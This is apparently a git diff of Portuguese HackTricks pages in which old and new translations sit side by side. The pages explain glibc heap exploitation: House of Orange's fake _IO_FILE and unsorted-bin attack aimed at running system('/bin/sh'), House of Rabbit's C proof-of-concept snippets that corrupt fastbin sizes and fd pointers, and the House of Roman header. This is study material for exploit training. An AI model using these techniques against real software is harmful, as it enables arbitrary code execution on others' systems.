* A técnica de exploração foi corrigida neste [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) então isso não funciona mais (funciona em versões anteriores a 2.26)
|
* A técnica de exploração foi corrigida neste [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) então isso não está mais funcionando (funcionando em versões anteriores a 2.26)
|
||||||
* Mesmo exemplo **com mais comentários** em [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
* Mesmo exemplo **com mais comentários** em [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
@ -34,67 +34,68 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
### Contexto
|
### Contexto
|
||||||
|
|
||||||
Algumas informações necessárias dos comentários deste [**exemplo**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
|
Algumas informações de fundo necessárias dos comentários de [**este exemplo**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
|
||||||
|
|
||||||
A questão é que, em versões mais antigas da libc, quando a função `malloc_printerr` era chamada, ela **iterava por uma lista de estruturas `_IO_FILE` armazenadas em `_IO_list_all`**, e realmente **executava** um ponteiro de instrução nessa estrutura.\
|
A questão é que, em versões mais antigas da libc, quando a função `malloc_printerr` era chamada, ela **iterava através de uma lista de structs `_IO_FILE` armazenadas em `_IO_list_all`**, e na verdade **executava** um ponteiro de instrução naquela struct.\
|
||||||
Este ataque irá forjar uma **estrutura `_IO_FILE` falsa** que escreveremos em **`_IO_list_all`**, e causará a execução de `malloc_printerr`.\
|
Este ataque irá forjar uma **struct `_IO_FILE` falsa** que escreveremos em **`_IO_list_all`**, e fará com que `malloc_printerr` seja executado.\
|
||||||
Então ele irá **executar qualquer endereço** que tivermos armazenado na tabela de saltos das estruturas **`_IO_FILE`**, e conseguiremos a execução de código
|
Então, ele irá **executar qualquer endereço** que tenhamos armazenado na tabela de saltos das structs **`_IO_FILE`**, e obteremos execução de código.
|
||||||
|
|
||||||
### Ataque
|
### Ataque
|
||||||
|
|
||||||
O ataque começa conseguindo o **top chunk** dentro do **unsorted bin**. Isso é alcançado chamando `malloc` com um tamanho maior que o tamanho atual do top chunk, mas menor que **`mmp_.mmap_threshold`** (padrão é 128K), o que de outra forma acionaria a alocação `mmap`. Sempre que o tamanho do top chunk é modificado, é importante garantir que o **top chunk + seu tamanho** esteja alinhado à página e que o bit **prev\_inuse** do top chunk esteja sempre definido.
|
O ataque começa conseguindo obter o **top chunk** dentro do **unsorted bin**. Isso é alcançado chamando `malloc` com um tamanho maior que o tamanho atual do top chunk, mas menor que **`mmp_.mmap_threshold`** (o padrão é 128K), que de outra forma acionaria a alocação `mmap`. Sempre que o tamanho do top chunk é modificado, é importante garantir que o **top chunk + seu tamanho** esteja alinhado à página e que o bit **prev\_inuse** do top chunk esteja sempre definido.
|
||||||
|
|
||||||
Para obter o top chunk dentro do unsorted bin, aloque um chunk para criar o top chunk, altere o tamanho do top chunk (com um estouro no chunk alocado) para que **top chunk + tamanho** esteja alinhado à página com o bit **prev\_inuse** definido. Em seguida, aloque um chunk maior que o novo tamanho do top chunk. Note que `free` nunca é chamado para colocar o top chunk no unsorted bin.
|
Para obter o top chunk dentro do unsorted bin, aloque um chunk para criar o top chunk, mude o tamanho do top chunk (com um overflow no chunk alocado) para que **top chunk + tamanho** esteja alinhado à página com o bit **prev\_inuse** definido. Em seguida, aloque um chunk maior que o novo tamanho do top chunk. Note que `free` nunca é chamado para colocar o top chunk no unsorted bin.
|
||||||
|
|
||||||
O antigo top chunk agora está no unsorted bin. Supondo que podemos ler dados dentro dele (possivelmente devido a uma vulnerabilidade que também causou o estouro), é possível vazar endereços da libc a partir dele e obter o endereço de **\_IO\_list\_all**.
|
O antigo top chunk agora está no unsorted bin. Supondo que possamos ler dados dentro dele (possivelmente devido a uma vulnerabilidade que também causou o overflow), é possível vazar endereços da libc a partir dele e obter o endereço de **\_IO\_list\_all**.
|
||||||
|
|
||||||
Um ataque ao unsorted bin é realizado abusando do estouro para escrever `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando um novo chunk é alocado, o antigo top chunk será dividido, e um ponteiro para o unsorted bin será escrito em **`_IO_list_all`**.
|
Um ataque de unsorted bin é realizado abusando do overflow para escrever `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando um novo chunk é alocado, o antigo top chunk será dividido, e um ponteiro para o unsorted bin será escrito em **`_IO_list_all`**.
|
||||||
|
|
||||||
O próximo passo envolve reduzir o tamanho do antigo top chunk para caber em um small bin, especificamente definindo seu tamanho para **0x61**. Isso serve a dois propósitos:
|
O próximo passo envolve reduzir o tamanho do antigo top chunk para caber em um small bin, especificamente definindo seu tamanho para **0x61**. Isso serve a dois propósitos:
|
||||||
|
|
||||||
1. **Inserção no Small Bin 4**: Quando `malloc` percorre o unsorted bin e vê este chunk, ele tentará inseri-lo no small bin 4 devido ao seu tamanho pequeno. Isso faz com que o chunk acabe na cabeça da lista do small bin 4, que é a localização do ponteiro FD do chunk de **`_IO_list_all`** já que escrevemos um endereço próximo em **`_IO_list_all`** via o ataque ao unsorted bin.
|
1. **Inserção no Small Bin 4**: Quando `malloc` escaneia o unsorted bin e vê este chunk, ele tentará inseri-lo no small bin 4 devido ao seu pequeno tamanho. Isso faz com que o chunk termine na cabeça da lista do small bin 4, que é a localização do ponteiro FD do chunk de **`_IO_list_all`** já que escrevemos um endereço próximo em **`_IO_list_all`** via ataque de unsorted bin.
|
||||||
2. **Desencadeando uma Verificação de Malloc**: Essa manipulação de tamanho do chunk fará com que `malloc` execute verificações internas. Quando ele verifica o tamanho do chunk falso à frente, que será zero, ele desencadeia um erro e chama `malloc_printerr`.
|
2. **Acionando uma Verificação de Malloc**: Essa manipulação do tamanho do chunk fará com que `malloc` execute verificações internas. Quando ele verifica o tamanho do chunk falso de avanço, que será zero, isso aciona um erro e chama `malloc_printerr`.
|
||||||
|
|
||||||
A manipulação do small bin permitirá controlar o ponteiro à frente do chunk. A sobreposição com **\_IO\_list\_all** é usada para forjar uma estrutura fake **\_IO\_FILE**. A estrutura é cuidadosamente elaborada para incluir campos-chave como `_IO_write_base` e `_IO_write_ptr` definidos para valores que passam verificações internas na libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde um código arbitrário (por exemplo, a função `system`) pode ser executado.
|
A manipulação do small bin permitirá que você controle o ponteiro de avanço do chunk. A sobreposição com **\_IO\_list\_all** é usada para forjar uma estrutura **\_IO\_FILE** falsa. A estrutura é cuidadosamente elaborada para incluir campos-chave como `_IO_write_base` e `_IO_write_ptr` definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde código arbitrário (por exemplo, a função `system`) pode ser executado.
|
||||||
|
|
||||||
Para resumir a parte restante da técnica:
|
Para resumir a parte restante da técnica:
|
||||||
|
|
||||||
* **Reduza o Antigo Top Chunk**: Ajuste o tamanho do antigo top chunk para **0x61** para encaixá-lo em um small bin.
|
* **Reduzir o Antigo Top Chunk**: Ajustar o tamanho do antigo top chunk para **0x61** para caber em um small bin.
|
||||||
* **Configure a Estrutura Fake `_IO_FILE`**: Sobreponha o antigo top chunk com a estrutura fake **\_IO_FILE** e defina os campos apropriadamente para sequestrar o fluxo de execução.
|
* **Configurar a Estrutura Falsa `_IO_FILE`**: Sobrepor o antigo top chunk com a estrutura falsa **\_IO\_FILE** e definir os campos adequadamente para sequestrar o fluxo de execução.
|
||||||
|
|
||||||
O próximo passo envolve forjar uma estrutura fake **\_IO_FILE** que se sobrepõe ao antigo top chunk atualmente no unsorted bin. Os primeiros bytes desta estrutura são cuidadosamente elaborados para incluir um ponteiro para um comando (por exemplo, "/bin/sh") que será executado.
|
O próximo passo envolve forjar uma estrutura falsa **\_IO\_FILE** que se sobrepõe ao antigo top chunk atualmente no unsorted bin. Os primeiros bytes desta estrutura são elaborados cuidadosamente para incluir um ponteiro para um comando (por exemplo, "/bin/sh") que será executado.
|
||||||
|
|
||||||
Campos-chave na estrutura fake **\_IO_FILE**, como `_IO_write_base` e `_IO_write_ptr`, são definidos para valores que passam verificações internas na libc. Além disso, uma tabela de saltos é criada dentro da estrutura fake, onde um ponteiro de instrução é definido para o endereço onde um código arbitrário pode ser executado. Tipicamente, este seria o endereço da função `system` ou outra função que pode executar comandos shell.
|
Campos-chave na estrutura falsa **\_IO\_FILE**, como `_IO_write_base` e `_IO_write_ptr`, são definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde código arbitrário pode ser executado. Normalmente, este seria o endereço da função `system` ou outra função que pode executar comandos de shell.
|
||||||
|
|
||||||
O ataque culmina quando uma chamada para `malloc` aciona a execução do código através da estrutura **\_IO\_FILE** manipulada. Isso permite a execução de código arbitrário, resultando tipicamente em um shell sendo aberto ou outra carga maliciosa sendo executada.
|
O ataque culmina quando uma chamada para `malloc` aciona a execução do código através da estrutura manipulada **\_IO\_FILE**. Isso efetivamente permite a execução de código arbitrário, resultando tipicamente em um shell sendo gerado ou outro payload malicioso sendo executado.
|
||||||
|
|
||||||
**Resumo do Ataque:**
|
**Resumo do Ataque:**
|
||||||
|
|
||||||
1. **Configure o top chunk**: Aloque um chunk e modifique o tamanho do top chunk.
|
1. **Configurar o top chunk**: Alocar um chunk e modificar o tamanho do top chunk.
|
||||||
2. **Force o top chunk para o unsorted bin**: Aloque um chunk maior.
|
2. **Forçar o top chunk para o unsorted bin**: Alocar um chunk maior.
|
||||||
3. **Vaze endereços da libc**: Use a vulnerabilidade para ler do unsorted bin.
|
3. **Vazar endereços da libc**: Usar a vulnerabilidade para ler do unsorted bin.
|
||||||
4. **Execute o ataque ao unsorted bin**: Escreva em **\_IO\_list\_all** usando um estouro.
|
4. **Realizar o ataque de unsorted bin**: Escrever em **\_IO\_list\_all** usando um overflow.
|
||||||
5. **Reduza o antigo top chunk**: Ajuste seu tamanho para encaixá-lo em um small bin.
|
5. **Reduzir o antigo top chunk**: Ajustar seu tamanho para caber em um small bin.
|
||||||
6. **Configure uma estrutura fake \_IO\_FILE**: Forje uma estrutura de arquivo fake para sequestrar o fluxo de controle.
|
6. **Configurar uma estrutura falsa \_IO\_FILE**: Forjar uma estrutura de arquivo falsa para sequestrar o fluxo de controle.
|
||||||
7. **Desencadeie a execução de código**: Aloque um chunk para executar o ataque e executar código arbitrário.
|
7. **Acionar a execução de código**: Alocar um chunk para executar o ataque e rodar código arbitrário.
|
||||||
|
|
||||||
|
Essa abordagem explora mecanismos de gerenciamento de heap, vazamentos de informações da libc e overflows de heap para alcançar a execução de código sem chamar diretamente `free`. Ao elaborar cuidadosamente a estrutura falsa **\_IO\_FILE** e colocá-la na localização correta, o ataque pode sequestrar o fluxo de controle durante operações padrão de alocação de memória. Isso permite a execução de código arbitrário, resultando potencialmente em um shell ou outras atividades maliciosas.
|
||||||
|
|
||||||
Esta abordagem explora mecanismos de gerenciamento de heap, vazamentos de informações da libc e estouros de heap para alcançar a execução de código sem chamar diretamente `free`. Ao elaborar cuidadosamente a estrutura fake **\_IO\_FILE** e colocá-la na localização correta, o ataque pode sequestrar o fluxo de controle durante operações padrão de alocação de memória. Isso permite a execução de código arbitrário, potencialmente resultando em um shell ou outras atividades maliciosas.
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
|
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
|
||||||
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,58 +1,64 @@
|
||||||
# Casa do Coelho
|
# House of Rabbit
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
1. **Capacidade de modificar o ponteiro fd ou o tamanho do fast bin**: Isso significa que você pode alterar o ponteiro forward de um pedaço no fastbin ou seu tamanho.
|
1. **Capacidade de modificar o ponteiro fd do fast bin ou tamanho**: Isso significa que você pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho.
|
||||||
2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um grande pedaço ou mesclando o pedaço superior, o que força o heap a consolidar pedaços.
|
2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que força o heap a consolidar chunks.
|
||||||
|
|
||||||
### Objetivos
|
### Objetivos
|
||||||
|
|
||||||
1. **Criar pedaços sobrepostos**: Para ter um pedaço sobreposto com outro, permitindo manipulações adicionais no heap.
|
1. **Criar chunks sobrepostos**: Para ter um chunk sobreposto a outro, permitindo mais manipulações do heap.
|
||||||
2. **Forjar pedaços falsos**: Para enganar o alocador a tratar um pedaço falso como um pedaço legítimo durante operações no heap.
|
2. **Forjar chunks falsos**: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legítimo durante as operações do heap.
|
||||||
|
|
||||||
## Etapas do ataque
|
## Etapas do ataque
|
||||||
|
|
||||||
### POC 1: Modificar o tamanho de um pedaço fast bin
|
### POC 1: Modificar o tamanho de um chunk do fast bin
|
||||||
|
|
||||||
**Objetivo**: Criar um pedaço sobreposto manipulando o tamanho de um pedaço fastbin.
|
**Objetivo**: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin.
|
||||||
|
|
||||||
* **Passo 1: Alocar Pedaços**
|
* **Etapa 1: Alocar Chunks**
|
||||||
```cpp
|
```cpp
|
||||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||||||
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
||||||
```
|
```
|
||||||
|
Alocamos dois chunks de 0x40 bytes cada. Esses chunks serão colocados na lista de fast bin uma vez liberados.
|
||||||
|
|
||||||
* **Passo 2: Liberar Chunks**
|
* **Passo 2: Liberar Chunks**
|
||||||
```cpp
|
```cpp
|
||||||
free(chunk1); // Frees the chunk at 0x602000
|
free(chunk1); // Frees the chunk at 0x602000
|
||||||
free(chunk2); // Frees the chunk at 0x602050
|
free(chunk2); // Frees the chunk at 0x602050
|
||||||
```
|
```
|
||||||
|
Nós liberamos ambos os chunks, adicionando-os à lista fastbin.
|
||||||
|
|
||||||
* **Passo 3: Modificar o Tamanho do Chunk**
|
* **Passo 3: Modificar o Tamanho do Chunk**
|
||||||
```cpp
|
```cpp
|
||||||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||||||
```
|
```
|
||||||
|
Mudamos os metadados de tamanho de `chunk1` para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
|
||||||
|
|
||||||
* **Passo 4: Acionar `malloc_consolidate`**
|
* **Passo 4: Acionar `malloc_consolidate`**
|
||||||
```cpp
|
```cpp
|
||||||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||||||
```
|
```
|
||||||
Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado do `chunk1` faz com que ele se sobreponha ao `chunk2`.
|
Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado de `chunk1` faz com que ele se sobreponha a `chunk2`.
|
||||||
|
|
||||||
Após a consolidação, o `chunk1` se sobrepõe ao `chunk2`, permitindo uma exploração adicional.
|
Após a consolidação, `chunk1` se sobrepõe a `chunk2`, permitindo uma exploração adicional.
|
||||||
|
|
||||||
### POC 2: Modificar o ponteiro `fd`
|
### POC 2: Modificar o ponteiro `fd`
|
||||||
|
|
||||||
|
@ -63,14 +69,16 @@ Após a consolidação, o `chunk1` se sobrepõe ao `chunk2`, permitindo uma expl
|
||||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||||
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
||||||
```
|
```
|
||||||
**Explicação**: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso.
|
**Explicação**: Alocamos dois chunks, um menor e um maior, para preparar o heap para o chunk falso.
|
||||||
|
|
||||||
* **Passo 2: Criar bloco falso**
|
* **Passo 2: Criar chunk falso**
|
||||||
```cpp
|
```cpp
|
||||||
chunk2[1] = 0x31; // Fake chunk size 0x30
|
chunk2[1] = 0x31; // Fake chunk size 0x30
|
||||||
chunk2[7] = 0x21; // Next fake chunk
|
chunk2[7] = 0x21; // Next fake chunk
|
||||||
chunk2[11] = 0x21; // Next-next fake chunk
|
chunk2[11] = 0x21; // Next-next fake chunk
|
||||||
```
|
```
|
||||||
|
Escrevemos metadados de chunk falsos em `chunk2` para simular chunks menores.
|
||||||
|
|
||||||
* **Passo 3: Liberar `chunk1`**
|
* **Passo 3: Liberar `chunk1`**
|
||||||
```cpp
|
```cpp
|
||||||
free(chunk1); // Frees the chunk at 0x602000
|
free(chunk1); // Frees the chunk at 0x602000
|
||||||
|
@ -81,16 +89,31 @@ free(chunk1); // Frees the chunk at 0x602000
|
||||||
```cpp
|
```cpp
|
||||||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||||||
```
|
```
|
||||||
**Explicação**: Alteramos o ponteiro para frente (`fd`) do `chunk1` para apontar para o nosso chunk falso dentro do `chunk2`.
|
**Explicação**: Mudamos o ponteiro para frente (`fd`) do `chunk1` para apontar para nosso chunk falso dentro do `chunk2`.
|
||||||
|
|
||||||
* **Passo 5: Acionar `malloc_consolidate`**
|
* **Passo 5: Acionar `malloc_consolidate`**
|
||||||
```cpp
|
```cpp
|
||||||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||||||
```
|
```
|
||||||
Alocar novamente um grande bloco aciona o `malloc_consolidate`, que processa o bloco falso.
|
Alocar um grande bloco novamente aciona `malloc_consolidate`, que processa o bloco falso.
|
||||||
|
|
||||||
O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legítimo para futuras explorações.
|
O bloco falso se torna parte da lista fastbin, tornando-se um bloco legítimo para exploração adicional.
|
||||||
|
|
||||||
### Resumo
|
### Resumo
|
||||||
|
|
||||||
A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que os atacantes forjem blocos legítimos no heap, possibilitando várias formas de exploração. Compreender e praticar esses passos irá aprimorar suas habilidades de exploração de heap.
|
A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que atacantes forjem blocos legítimos na heap, possibilitando várias formas de exploração. Compreender e praticar esses passos aprimorará suas habilidades de exploração de heap.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,53 +1,53 @@
|
||||||
# Casa do Romano
|
# House of Roman
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
